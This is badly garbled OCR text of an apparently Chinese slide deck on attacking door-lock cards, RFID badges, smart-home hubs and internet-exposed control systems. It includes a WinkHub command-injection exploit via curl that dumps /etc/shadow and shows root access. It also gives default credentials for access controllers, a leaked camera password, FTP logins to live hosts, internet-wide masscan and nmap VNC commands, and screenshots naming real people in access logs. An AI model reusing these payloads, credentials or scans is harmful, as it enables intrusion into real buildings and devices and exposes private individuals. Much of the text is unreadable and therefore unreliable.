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Toucnh the

The door can be opened with a card.

The door can be opened with a card fit for support standard as well as
a card contained in the product (Support for the 1ISO14443A—Type, Up
to 70 including the password can be registered).

Pranks played by children and juveniles can
be prevented.

When an unregistered card is used, or when an invalid password is
entered 5 or more times consecutively, an alarm sound is generated
and power to the lock is automatically cut off for three minutes.
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TiNG :
Ezon [ ]+~ == Mifare classic 1K I?

Mifare TIZAE L Cryptol AR ZIE HE. .

Proxmark3: Snoop [ 1M 18l Z [BIRIZIER B ...

proxmark3> hf 14a snoop

¢db# cancelled a

¢dbz 3 0 0

¢db# 20 45 7f

proxmark3> hf 14a list

recorded activity:

ETU :rss1l: who bytes

--------- e e

0: 00

0: TAG 04 0O

: 89 73

0: TAG la 46 3f a0 c3

: 0: TAG 08 b6 dd

3168: : 7f

oxmark3> |

+
4
+
4
+
+
r

P



HAANH:

SITEIEN A E, [k dbytes B UID A 2= =

E HARY Mifare & Block O in Sector O A~A] 5.

18 Mifare UID A1 5 RV LI 11X —1]).

HF&ESniff ZJUID, @R SLH ez, FEBMEKey#ElE T .







B 2]’ N AR TIRE”
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3. Hardware



£-0-O==C=1=0r1

0111 0031110091 0

IR dmS = 21(8 bits)
.5 =29644 (16 bits)

. FTAERI N EE FTAUEAL )

. fmesmWiegand 26 bits MY (B FEiClass)

o a




== RFIDler

BHRFID: RFeTdmEAEHLIE, ERERE DGR TR w3

FHXY Proxmark3 ki, M8 {EE 2. B ErX{Kun 125khz /134khz

DIREELFE: ISR, WAl R, IMERZ, IRIR[ ] R EZ BN E







RFIDler Z451: HID #&=#1

1B minicom E=#2% RFIDler

. W A[E N fidler.py BE#EERH 32 B (import RFIDler)

> set tag hid26
> encode 123 87654 hid26

> emulator
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RFIDler Z&41: ST &5

AR 1R E NS T55XY
> YIS FRIEAS T

> A EEEREI0R XL

. RFIDler =& ErZE T55x7: Q5; HITAG ..

> set tag hid26
> copy 155x7

> clone






RFIDler Z=51: & J1fEs

M EXIEREA VE RS AT

HD NEEINZEN Sl EE

5%
m
I
I

 ATPOB N DBy 7 ZUSE I T 2R 7 ) B HY

(github.com/kevin2600/REIDler-HID26-BruteForce)



http://github.com/kevin2600/RFIDler-HID26-BruteForce




BLEKey — RFID i&£E-F&858/5171 github.com/LinklLayer/BLEKey

AR

P
& N



http://github.com/LinkLayer/BLEKey
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S =aN00%Y)

HUTh 58, AR, RIFBEEE LBAKHIET[E).

FiE KB HE B RERY

RS ERSNEIGIIIER T, hat— B

SiE B RS ERE. SRR — & R

FEIRO IR E
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TRSUR AL

= ME WEVEZOR AL JEFIES0R 3 2Al); B & I fa202 5l(IPhone)

JEFIE QXLJJJEL_L_/HSI%%TT— stECHIH O, Y B N =R, HZTE
NE R, BEZHRERNIESE FETIER

e N IR AR AR FiEE, FHEERSFSIENER. #i=2
felfhe, Eh—FEINEST AN AR AR IEE A




TR SR BI&E

S

FTF 812 A RS B B S A E 2B
AN ERT)

, B ER IR LLE.

S I F IR DA B FEAE R 2L

127, MiA

mHIESERRE, REREREA

FNHR IR FE T LHY H HY.

RAY, AR DL R M, T8 2L AT DA L

http://dasalte.ccc.de/biometrie/fingerabdruck _kopieren.en







Il R R 5 527
H A& A I LS R I fR$1iPhone 5s—TE IR —LEE M, #0... '.&_~/

v.youku.com > RH%FIFR > FH ~
Has A A ZL LS D fESiPhone 5s B ZRIFRMIMIE R EFAR MMM (spsky.net)

H 2“8 B Ih A FL L @ giiPhone 6(&)_#TE]_S1H M
news.qg.com/a/20140923/010038.htm ~ Translate this page

Sep 23, 2014 - HA“R¥" BRI A AL E8iPhone 6(&) ... B LAY BHIE KHh7E K5 Eifkie
HEl&kik, BEHE2HNIL, HEESTERIABRIZERITFI .

HZH FiPhone#iiria: FLKMIRTESGRAITHAE| B A | ##51 ...
tech.sina.com.cn/mobile/n/2014.../10039628832.shtm... ~ Translate this page
Sep 21, 2014 - HAH A AL @EYiPhone 6 ... NEUAXTHFHHTTIEN: fi1HBES
AIFL LRI Touch IDFELURAITHRE, FF ... XEXEIRE: HARBIIESOR.

; ~ it
B A& A AL ESiPhone 5S(ZHE) - FRRBHY - #FRM Imm iU
tech.sina.com.cn» B{Z ~ Translate this page : “””h“’f{”’h

//

Sep 22, 2013 - iPhone5SHTIEMIELURAI IR ENRRZ—, BEX ELEFR N FFiE Vil e

SURZ, BXFRE—EOEEMNIAZ, kmiEAk..... « SKEHXEAH ..




Master K= X B EIE H RZM (FOA 123 1)

TIAMKS: RAGE I ITIRE (BN fEAEIR)

EIBKS: ERFE10 ZHZRHEABBEAERH (1 - 8 fTEARR)

M OB SR RSSHRINEE: FEI8HE + oo + IEFARED + # (Z5RAAIN)

B e S RO s













BE ...

751 Reset #, NS RFNRE. BEEBT ZEE.

¥5¥z Relay i, L PELRIE. EEBEFTEZS ARE.

SRENVEERL2 — > 5982 Reset #8 —> S BHE (IF2ZH)

FX A NN FEE ...




RTEM ..

EFH em78p156e {E N R FmAbIEes

72 8 EEPROM 24C02, =1

I R 23 (12C )

o

8-lead SOIC




)

N

>T

EHZE IS FESS (BusPirate)

Jdln

¥ = Windows / Linux / Mac

Y 1= 12C / SPI / UART / 1-Wire / JTAG

HEEENTIOE. BRA TR L fHes |




he Hack

RS N RAR: ARIATE () + ERRED +

ZERAIN()

A e oK

RN )G, AN ESE[E EEPROM B8iEL

EEPROM %&iX IE #2360, DIEXNTEESEIE

k}

IE22 0 (Plain-Text 7c in%s)

12C>(2)

Sniffer

§ Any key to exit

- [0xA2+0x00+[0xA +0xB3+0x32+0x1A+0XFF+0xPF+0xFF+0XFF+OxFF+]
Any key to exit

- [OxA2+0x48+[0xA3+0x93+0x32+0x1A+0xFF+0XFF+0XFF+0XFF+0XFF+]

: ‘+0x08+[(.)xA +0x13+0x32+0x1A+0xFF;+0xFF+0x41+0x04+0xFF+]

error at char'2

XAA G FF+0xFF+0xFF+0xFF+0xFF+}
B RRRRRE  a
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August 2 =

/IARYA AR
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{

public
public
public
public
public
public
static

Plaintext

|

Ciphertext

%

1: B %3 3R

HFHAPPE I #)

Plaintext

{

Key block CIp_her Key block ipher
encryption encryption

|

Ciphertext Ciphertext

Electronic Codebook (ECB) mode encryption

public class Settings

static final
static final
static final
static final
static final
static final

package com.august.util;

private static final Strin
private static final LogUti

String
String
String
String
String
String

Settings instance

null) {
new Settings();

n n In In

n

DebugSettings _debugSettings
Properties _encryptedProps

public static Settings init()

+|/import android.content.SharedPreferences;

"API_ACCESS_TOKEN";

= "DEBUG_SETTINGS";

TOKEN = "API_INSTALL TOKEN";

ERTS = "PUSH_ALERTS";

NV SUFFIX = " _v1";

new DebugSettings():
null;

1

> —~

= E-mall,
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MJBE IR &S BIAN IN ONE 332 WinkHub (ARM CPU: RAM: NAND)

. [ 2 $F WIFI/Bluetooth/Zigbee (2.4G); 915Mhz (Zwave); 433Mhz (RF)

TR E = mIAR B G ERE T & (GE; Nest; Dropcam; Philips)

WINK HUB
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Debug #H — UART

A FHEIERRLE (8 data bits, no parity bits and 1 stop bit)

AY V4

/\

&

®E: 300; 9600; 115200 152 230400 7

 REARMBIMES KRR (https://code.google.com/p/baudrate/)

. AJ{£ F Bus-Pirate 2¢3& Shikra (R ER) 1E 4R =B E O &R

GoBBOKS0 ;66-[B63]2006) EROGEGEO0LGE0NEE GORREE 00
qqEB6:ClkgzEl rélsssssCUUERGEssssCh2
O42([3[100 46260-[TH106 " 66206211 T00066260-[1000000=2 =[O U6 3SUUUBUELULLLENY, Ul

_qb2ee[joo ChOﬁﬁﬁr 62: ﬁl&&:ﬁl‘l@ 06 : 606 662 ﬁll&EﬁGﬁIVS Gxx68" " UHBqULX00E" " " @606 ; LD
AFRee06: 2666)X5sEmS ; Fp ; 260060630600606600 | 3EI6EER "0 <6/ sehceE ) BIT6s2 ; WUUPRe0uNGg

@EEEEAEAEEREEAARAEREEE Baudrate: 9600 EGGEEEAECCEEEEAEAGEEEE
GEREERsUoWWHBBK Bwbc BWBBHHE00 | rR{ rég{BobBCGbcGGS | BERSHELEEERCHE s buh

@PEREAAAAARAAAAAAEEEAA Baudrate: 115200 EECEARCCEEEARACEEEAAA

Initializing random number generator... done.
Starting system message bus: done

++ mount

++ grep database

+ dbcheck=

+ 1 [ 1 i — i L] ] 1
+ ubiattach -p /dev/mtd3
UBI: attaching mtd3 to ubil

UBI: physical eraseblock size: 131072 bytes (128 KiB) ey

UBI: logical eraseblock size: 126976 bytes refurn

UBI: smallest flash I/0 unit: 2048

UBI: VID header offset: 2048 (aligned 2048)

UBI: data offset: 4096

UBI: attached mtd3 to ubil

UBI: MTD device name: "database” R S
UBI: MTD device size: g MiB e ,|||| >
UBI: number of good PEBs: 61 ;o |||"“°\
UBI: number of bad PEBs: 3 £
UBI: max. allowed volumes: 128

UBI: wear-leveling threshold: 4096

UBI: number of internal volumes: 1

IIRT * ruimhar Af jear unliimae s 1



https://code.google.com/p/baudrate/

Got ROOT? Command Execution

WinkHub W3 A] AR S M D12 XS EH gt 171410 (set_dev._value.php)

curl “192.168.01/set_dev_value.php’” -d “nodeld=a&attrld=; uname -a;”

<?php

SnodeId = $_POST[ 'nodeld'];
SattrId = $_POST['attrId'];
Sv = S _POST[ 'value'];

//Swho = exec('whoami');
//echo Swho;
//passthru("sudo 1s", Sretval);

//echo "nodeId=" .Snodeld . " attrId=" . SattrIid . " value=" . Sv;
Scmd = 'sudo ' . dirname(__FILE__ ) . '/php2apron set_value ' . SnodelId . " " . SattrId . " "

ffecho Scmd . " "

passthru($Scmd, Sretval);
echo "ret _code=" . Sretval;

7>

s
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N=E — NAND Glitch

NAND Glitch &3 75 - BH LE bootloader 132EXIE fERYEHE I IE. M
M8 Zroot shell.

RINEEHE CEEGES O /0 pin [FIGND 55 .
NAND Flash
N, =
N S 5. -
N =
.‘! g 5: ‘"i
48 Us L *)




- AR AT [E] B

NAND Glitch AI¥TEL R & IEE R iz, BT 15 & {AlHY {Z=1EAR?

IR I S R SMIHR. .

2y anonymous — bash — 120x30

Pandora:~ anonymous$ curl "http://192.168.0.1/set_dev_value.php" -d "attrId=a&nodeld=; cat /etc/shadow ;"
root:bVn.vHIOFZcTA:0:0:99999:7:::

bin:*:10933:0:99999:7:::

daemon:*:10933:0:99999:7:::

adm: *:109535:9:22209:7:::

1p:%*:10933:0:99999:7:::

sync:*:10933:0:99999:7:::

shutdown:*:10933:0:99999:7:::

halt:*:10933:0:99999:7:::

uucp:*:10933:0:99999:7:::

operator:*:10933:0:99999:7:::

ftp:*:10933:0:99999:7:::

nobody:*:10933:0:99999:7:::

default::10933:0:99999:7:::

dbus:*:::::::

ret_code=127Pandora:~ anonymous$ curl "http://192.168.0.1/set_dev_value.php" -d "attrId=a&nodeld=; id ;"
uid=0(root) gid=0(root)

ret_code=1Z7Pandora:~ anonymous$
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SR KB EhE Z AR — Envisalink

Search Result
Found about 744 results [0.016 seconds).
Search Type =
4
743
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(user: User)
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EnvisALERTS >
2015-05-02 01:19 - System Time

5.23”

255.255.192.0

5.2~
195.130. 1 CREAED

Network Parameters
IP Address

Network Mask

Gateway
DNS Server
BOUND - 02948
[ sumiT |

DHCP Status
Make Network Settings Static?

| CHANGE

Change User Password

184.106.2 D

EnvisAlerts Status
Login to Account

Envisalerts Server

ONLINE

EnvisAlarm Status
Account#: 000000 COM#: 01

Not Subscribed

No Client

(orance]

EnvisalLink TPI Status

OFFLINE
Enable TPI Session Alerts

Reboot Envisalink
Firmware Version: 01.11.140 - MAC: 001C2A00BC4A
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ZoomEye car

Search Result Global Vision
== United States Metairie 23 AL N
— =S @B tpplication Apr 13 2010 12:29:02
& Nov. 24, 2014 @S Serial Number: 6609
pcb:1, vers:03, rel:x06, build:3145
RAM: 128M @ 128M EPROM: 512k

Flex vers: 16.0, capabilities 003f
Camera firmware: 4.34
362 epld vers: 13
ANPR enabled for: USA Louisiana , 2528
Operating system: C EXECUTIVE 3.3
eprom image checksum: 1408
application crc: al3e
current config crc: 625e
reference config crc: 625e
* Installed options: 00200018
= . Compact Flash
* . Basic VES with no security
* ... USA Licenceplate recognitien
* PIPS Technology AUTOPLATE (tm) license plate recognition
B

VIEC _ vl akinn anfancramand cvecdam))



ATARC B R R

L4

ANPR: Jt3=Zf#

|
i

N I P

IR RS

Y ¥ Web, Telnet, FTP & Xt Hixf2 = .

LR

AN LBIZINT 11? B

ANPR Engine
Bitmap images

Camera Configuration

Client

[html]
home=flash;html_en. z:
enable=1

debug=0
idletimeout=60
max_cache=86400
user=admin
password=500Vets

[Llog]
mode=Oxffffffff
host=0.0.0.0
account=ftp_boot
password=ftp_boot

[pdb]
file=mem:\plates.db

separator=,
host=10.1.1.1
gccount=wl_test
password=wl_test
update=update.Csv
enable=0x00
debug=0
hashsize=50021
threshold=75

+~ anonymouss telnet 98.1/5.

Trying 98.175.13

ATZ

Connected to wsip-98-175-
Escape character is 'A]".

.No.Cox.net.

Closed Loop Camera Control

Electronic Mail (SMTP)
External Trigger System

HTML/HTTP Server
Image Capture

Preferences JPEG Images

Monitor

Configuration

Light sensor
Logging system
Miscellaneous
Network

Plate Database

Diagnostics
Contact us
Legal

Plate Database Entries

Copyright 2006
PIPS Technology Inc.,
PIPS Technology Ltd.

System Parameters

System
VES Diagnostics
VES Exceptions
Vehicle Action
Vehicle Active

Build ref:26

Kermit Serial File Transfer

VES - Violation Enforcement

Camera number

Start date/time

End date/time

beginning [}

P372 application Apr 13 2010 12:29:02
P372 Serial Number: 6609
pcb:1, vers:03, rel:x06, build:3145
RAM: 128M @ 128M EPROM: 512k
Flex vers: 16.0, capabilities 003f
Camera firmware: 4.34
362 epld vers: 13
ANPR enabled for: USA Louisiana
Operating system: C EXECUTIVE 3.3
eprom image checksum: 1408
application crc: al3e
unable to open: flash;system.def
current config crc: cff@
reference config crc: 0000
* Installed options: 00200018
* ... Compact Flash
* ... Basic VES with no security
* ... USA Licenceplate recognition

, 2528

* PIPS Technology AUTOPLATE (tm) license plate recognition




s AR STIE 2 AR — Echelon PLC

AE Y Ethernet BT 8] 12, BB, HES S &%

3 WEB-Server A0 AR EHIHIERIA

| HZ&ERS (ilon)

o

WS T T T3 ics.zoomeye.org  (.LON 600, i.LON SmartServer)

Found about 4142 resulis{0.134 seconds).

2424

Wind River Web Server:4.4 [
HTTP/1.1 288 0K

== United States Florham Park B .o ingriver-enserve /4.4
HTTP Cache-Control: no-cache, LHLll

& Aug‘9‘201d _ast—”:di:ied:‘ﬂlu 22 NOV 2010 18:18:4
ETag: "3be-2a7a-4ceabd488"”
Connection: close

Content-Type: text/html

WWW-Authenticate: Basic realm= -

Content-Length: 18874




/>R

7I~: Echelon PLC




R AR ETE 2R — S2 NetBox

/0oomby®

Search Result

Search Type

Sublic Devices

Neb Services

Service

1ittp

country
JNITED STATES
ATLANTA

NCANTCD

Global Vision

804

784~
27

"Sonitrol building access control system http config" Explore

Found about 804 results (0.096 seconds).

24.227.7

ESR LT AL HTTP/1.0 302 Redirect

80 :
Sonitrol building access control s... server: GoAhead-Webs
HTTP > Date: Sat Aug 8 13:20:52 2015
s2ncinit Pragma: no-cache
== United States Clearwater Cache-Control: no-cache,must-rev
tent-T : text/html
® Aug. 9, 2015 Content-Type: text/htm

Location: {l://s2ncinit/login

<html><head></head><body>
This document hc



AN HEPR B

S2 NetBox | 1212 il gs FAIA F- ium . WEB(80)

S2 NetBox ZRiA

] F&ZEZ RS admin /admin & IEleMerge/eMerge

L .




— .
IEI- International
Electronics, Inc.
-

-l =S Administration
‘WArm Alarm Panel
_] Lost Cards
--é3 people
S Add
?-"Change/delete
-I:~|Reports
+-%/ Configuration
-1 “History
_—Access History
I General Event Hi
,:JPortaI Access Col
= EE:';’.People
I Access Levels

. Current Users

#lOccupancy

. Portal Access
“¥Roll Call
.| Roster

I Time specs

Main : Administration : Schedule Action

Schedule Action

Type:ID | Name

Action Current Scheduled Actions

P:1 front door portal | Schedule

P:2 upper door portal | Schedule

O O Scheduled Action

) 2419 )anualoverride.asp?typecode=P&qt=C&fkid=1&.sessionld=1608891462

front door portal

Action Start Date/Time End Date/Time

*1Unlock ~ * 08/13/2015 10:49:24 *

Lock (+hh:mm/am/pm)
@ Now

At At
In (HH:MM) - After (HH:MM)

Save Cancel




e .

IEI» International
Electronics, Inc.

-

Table of Contents

ﬁ Main Menu
-1 =IMonitor
| Activity Log
" Cameras
=“Camera Views
E Duty Log Entry
&Passback Grace
_J‘Portal Unlock
~I =S Administration
‘“¥Arm Alarm Panel
;;| Lost Cards
--é% people
&% Add
+<~|Reports
“Schedule Action
# Utility
+ 5 Setup
| Support/Utility

# Start page : &= Print :

il Hide TOC :

Hananya, Tomer

2013-01-31 12:53:59

both doors

100 (2013-09-02 02:23:34)

26 bit Wiegand

Helbach, Cleaning

2015-08-11 19:08:16

both doors

00339
00345

26 bit Wiegand
26 bit Wiegand

Horn, Evan

2013-08-16 14:59:48

both doors

30 (2014-05-16 19:00:01

26 bit Wiegand

Humerickhouse, Grant

2012-09-25 14:14:17

both doors

26 bit Wiegand

Hyatt, Adam

2013-08-16 14:03:58

both doors

)
81 (2012-10-06 12:40:20)
)

26 bit Wiegand

Hyatt, Adam

2013-08-21 11:22:47

both doors

49 (2014-05-17 22:59:27
85 (2013-12-19 18:22:27)

26 bit Wiegand

JDM, Active

2015-08-11 19:04:55

both doors

00337
00340
00341
00342
00343
00344
00346
00347
00350
00351
00352

26 bit Wiegand
26 bit Wiegand
26 bit Wiegand
26 bit Wiegand
26 bit Wiegand
26 bit Wiegand
26 bit Wiegand
26 bit Wiegand
26 bit Wiegand
26 bit Wiegand
26 bit Wiegand

JDM, Adam

2014-01-14 13:58:13

both doors

90 (2014-10-16 14:32:02)

26 bit Wiegand

JDM, Ian

2014-05-14 11:24:43

both doors

13 (2015-08-04 22:42:02)

26 bit Wiegand

JDM, 1DM

2013-12-04 12:43:40

both doors

12 (2014-01-09 11:37:39)

26 bit Wiegand

JDM, JDM

2014-09-02 10:55:37

both doors

32025

26 bit Wiegand

JDM, Seth

2013-10-01 15:49:01

both doors

26 (2014-08-14 09:21:21

26 bit Wiegand
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*s SHODAN vertxcontroller Search

Services I

Cox Communications
Telnet
VertXcontroller logm:

Top Countries oc.oc.cox.net

United States
India

Charter Communications

7720
ol N

Axis Developer Board LX release

Los Angeles : . -
- 49 s O
Limax 2.4 .26 onacns (0)

itatic.psdn.ca.charter.com
VertX Controller logm:

Spacenet

= Axis Developer Board LX releasze




IJU

l\“ﬁ o E% Iglb\ 7050

L4

HID | 7] 2245 HS2ERIAFFHLE E FTP(21), TELNET(23). WEB(80)

HID [ 2232 T 2820 TA FH

H&ZE root / pass

L -

kev 2:~$§ ftp 98.1

Connecicu w zo.s m& Basic Setup Advanced Setup Supplemental Configuration
220 (vsFTPd 3.0.2)

Name ( evinchen): root ) L . Lo

331 Please specify the password. The VertX controller configuration is displayed. Input status is updated periodically. Select a relay to
Password: command.

230 Login successful. Add Unconfigured Exit

Remote system type is UNIX.

Using binary mode to transfer files. System Status

ftp> 1s

200 PORT command successful. Consider using PASV. ID1 Host Name VertXController

150 Here comes the directory listing. MAC.0010628E202121!00 IP Address 66.2

-rW-F--F-- 10 0 36 Jan 01 2000 TestFile Version 2.2.7.149 Date 08/13/2015 14:39:45 UTC
drwxr-xr-x 30 0 432 Jan 09 2014 armv5l

drwxr-xr-x 2 0 0 5008 Aug 09 06:58 bin Address 0 Program Version 113 P m—
drwxr_xr_x 3 0 0 224 AUg 09 06:58 deV lD FFFFFFFF EEPROM VerSIon 110
drwxr-xr-x 18 0 0 6552 Aug 09 04:01 etc e
-TW-TW-TW- 10 0 2808 Aug 13 14:15 hio_serial_number N B
drwxr-xr-x 40 0 288 Jan 09 2014 home E 0 @ @ @ 0 1 0
-TW-r--r-- 10 0 2904 Jan 09 2014 ifdokccid_1lnx-3.6.0.tar.

9z =

-rWXr-Xxr-x 1 0 0 176 Jan 09 2014 init r : @ @ @ = :
drwxr-xr-x 2 0 0 2384 Jan 09 2014 lib 2 2 2 2 2 2
LrwXrwxrwx 10 0 11 Jan 09 2014 linuxrc -> bin/busybox

drwXxrwxrwx 2 0 0 160 Jan 01 2000 media

drwxr-xr-x 6 0 0 624 Aug 04 20:36 mnt

dr-xr-xr-x 71 0 0 ® Jan 01 1970 proc :

drwxr-xr-x 2 0 0 296 Jan 26 2015 root Add Unconfigured




<M ¥ — Masscan

https://github.com/robertdavidgranam/masscan

2MEY IPv4 H3EH 40 {22.% (4294967295). B3 Class D, L4 7R I ES.

K ATRSER:, P Mt dBidi. AR RIFEA T, 3 25T =M.

Masscan SHR R EsIREIFIFRIR . FEIRIESCIRMIRZH A B (DoS HE?)


https://github.com/robertdavidgraham/masscan

Masscan %] — VNC 5900

B VNC k55 Al L B ERIm A2 X £ AR 5 as #H T In i AR 1E

A %D UNC R EEN A FZ 2L, M EREhE?

masscan 0.0.0.0/0 —exclude 255.255.255.255 -p 5900

nmap —script openvne.nse -n -Pn =ik vnc.ixt -p 5900 > /dev/null
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Kotelna GRAF TEPLOT _J{

Volba provozu

CERPADLO UT CERPADLO UT

KOtIe veétev B vetev A

Lo .-I J J J
VOLBA % v % %

9 %
33.0"C 35.8"C  35.7 "C 36.7 "C Kotel 2

Vétey "A"
Automat

YOLBA

Vétey "B"
Automat

YOLBA

TUY

| | Vypodtene 35 40 on 4 350 °C 390 °C
ekv. hodnoty

28.04.2015 02:23:58




°0[0

N—DL/\W

LIVING WALLS

o T v e
L T |

UPPER FLOOR
BASIN 3
BASIN 4

MAIN FLOOR
BASIN 3
BASIN 2

OVERVIEW

ALARM

MODES

FLOAT SWITCH OVERVIEW

‘ LIVING WALL

81452015 11:34:40 AM

r 3
SETTINGS TREHDING

SYSTEM CONTROL

SYSTEM OH
VFD SELECTED

SYSTEM

ON

 SYSTEM

OFF

A BASIN 1B 25— ll— i ——a

| ||BASIN 1A =gl

HIGH FLOAT j

SWITCH il

W [pume1runm T |-

AUTO-FILL AUTO i
FLOAT SWITCH e M ‘

LOW FLOAT =

SWITCH

174.04

PRESSURE(PSI)

l 38.03

AN AN

COMMS J
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&

IR
05/01/2015

Yersion

EDH Yersion
Gilbarco Model #
Gilbarco Serial #
NTEP CC No. 02-033

8.02.23.03Z CONCORD
01.23 [01.23.01.022)
PAD3200000700
SB102000

@ Copyrght 2008 Gilbarco Inc.. All Rights Reserved,
@ Copyright 1939 Microsoft Corporation. All Rights Reserved.

Pricing Group

»

Fuel Price Change

-~ | Operator 202 <=

| Store Gude Drive Liberty |
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O MpunoxeHna [epexon CucTtema
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C

epBep Guardant Net

Cucrema Bwa (View) Cpopaska

=8 Wa xocta: M021; IP aapec: 127.0.0.1:3182

KauneHtbl

o ] Bpema perucrpauum ] WHrepsan l Koa knioua

] ID knoua

| PazpaboTuuk l porpamma l N2 l Moaynb | N2 l [poTokon | KomnbioTep

l IP agpec

lBepcun lﬂna‘r... I

Lirlo igzlEe
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ViV
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i

 Kaueros: 0 | Ceceuit: 0

INF PIS.jpg

Tabenk 3a main

2015 aBaHc.ods [encu Bnank

CBOAHORO aHannaa.
x|s

Cepaep Guardant Net

irKeu.l: Bkn 4
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20151 xls

ra:
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AR

oy Psi =

Obuwee CTtaTyc Bug
W XE0NCYITTH WOEen Papani.. 4] |

¥ XalbpaxmaHoea MyHasupa Ma...
& XomyToBa AnbMmupa PycTamoBHa

oF HenbllWwknHa XKaHHa EBreHLeBHa

¥ HepHoBa KOnns BacunbeBHa

W YyBunmHa Onbra HukonaesHa

W LLieenknHa EneHa Baagumupo...

F LLedep AnekcaHap BUKTOpPOBWY

¥ JknHa CeeThnaHa Ay3axoBHa

o AiMannesa Alryne PycTamoBHa

7 Bupcknin Kyct (0/16)

¥ T NMHKWHa TaTbAHa BUKTOpPOBHA
¥ leaHoBa HaTanesa AnekcaHap...
W Kannac MannHa AlrvwesHa

W KacbAHoBa TaTeAHa JleoHWAO...
=@

F KopHunoea o amuna MNaBnoeHa
¥ /lykawosa CeeThnaHa Muxanno...
W MOKpYLWWH AHApein Baagumup...
9 HEKPECOB_aHApen _HWKonaeswu...
¥ [MoHoOMapeB Makcum AnekcaH...

¥ CMUPHOBa_eneHa_alekcaHap...
W CTpomoea BaneHTuHa MNaenos...
oF TWTOoB_lIropb_Hukonaesny

@ TPOCTUHCKEA TaTbAHa PomMaH...
P HepHelweHko Wpa MNabutoeHa
¥ HepHeilweHko AHa HukonaesHa
2 MarazuHbl BupPO (33/35)

f§¥MarasuH_004
AMarasuH_005
§¥MarazuH_006
¥ MarasuH_007
fMaraznH_008
pmarasuH_012
NmaraznH 013

v % HepocTyneH
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